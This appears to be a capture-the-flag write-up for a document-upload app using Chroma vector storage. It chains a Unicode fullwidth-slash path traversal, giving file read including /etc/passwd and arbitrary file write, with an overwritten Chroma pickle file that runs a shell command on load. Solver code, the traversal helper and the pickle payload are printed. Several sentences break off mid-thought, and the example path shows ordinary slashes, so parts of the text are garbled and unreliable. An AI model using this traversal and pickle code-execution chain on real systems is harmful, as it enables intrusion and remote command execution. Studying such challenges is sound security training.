This app lets users upload documents and query a small AI-style knowledge base. The final exploit uses two bugs together:
The path helper normalizes filenames:
unicodedata.normalize("NFKC", filename)
That is dangerous because the fullwidth slash
So this request:
/api/docs/../../etc/passwd
becomes a backend read of:
../../etc/passwd
The same issue also exists in the upload path, which means we have both arbitrary file read and arbitrary file write.
The app uses Chroma for vector storage. Chroma stores metadata in a file like this:
/chroma-data/<segment_uuid>/index_metadata.pickle
When a worker loads that segment, Chroma calls
The exploit chain is:
The malicious pickle can be very small:
outfile = "pwned_flag.txt"
cmd = f"/readflag > /docs/{outfile}"
payload = f"cos\nsystem\n(S'{cmd}'\ntR.\n".encode()
That is protocol 0 pickle for calling
The traversal helper in the solver replaces normal slashes with fullwidth slashes:
FULLWIDTH_SLASH = "\uFF0F"
def tpath(path: str) -> str:
return path.replace("/", FULLWIDTH_SLASH)
After reading
row = con.execute("""
SELECT id FROM segments
WHERE type = 'urn:chroma:segment/vector/hnsw-local-persisted'
LIMIT 1
""").fetchone()
Then the poisoned pickle is uploaded to:
../../chroma-data/<segment_uuid>/index_metadata.pickle
Sometimes the exploit has to hit
Running the solver gives:
CSCG{ai_l0ves_th3ir_p1ckles, if you didn't slop this challenge and enjoyed it, let me know :)}